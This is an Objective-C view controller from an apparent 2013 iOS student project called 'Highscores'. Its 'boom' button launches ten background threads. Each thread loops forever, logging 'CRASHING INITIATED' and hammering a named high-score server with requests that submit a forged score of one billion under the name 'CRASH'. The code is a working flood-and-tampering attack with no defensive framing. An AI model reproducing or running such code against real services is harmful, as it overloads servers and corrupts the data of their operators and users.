//
//  ViewController.m
//  Highscores
//
//  Created by iD Student on 7/2/13.
//  Copyright (c) 2013 iD Student. All rights reserved.
//

#import "ViewController.h"

@interface ViewController ()

@end

@implementation ViewController

- (void)viewDidLoad
{
    [super viewDidLoad];

}
- (void)didReceiveMemoryWarning
{
    [super didReceiveMemoryWarning];
    // Dispose of any resources that can be recreated.
}


-(void) send
{
    while(true)
    {
        NSLog(@"CRASHING INITIATED");
    NSURL *serverURL = [NSURL URLWithString: [[NSString alloc] initWithFormat:@"http://apps.tinytech.us/R7GNJI27I9/?Method=0x02&UserName=%@&Score=%d", @"CRASH", 1000000000]];
    
    [NSData dataWithContentsOfURL:serverURL];
}
}
- (IBAction)boom:(id)sender
{
    
    for (int i = 0; i < 10; i++)
    {

        [self performSelectorInBackground:@selector(send) withObject:nil];
        
    }
}
@end
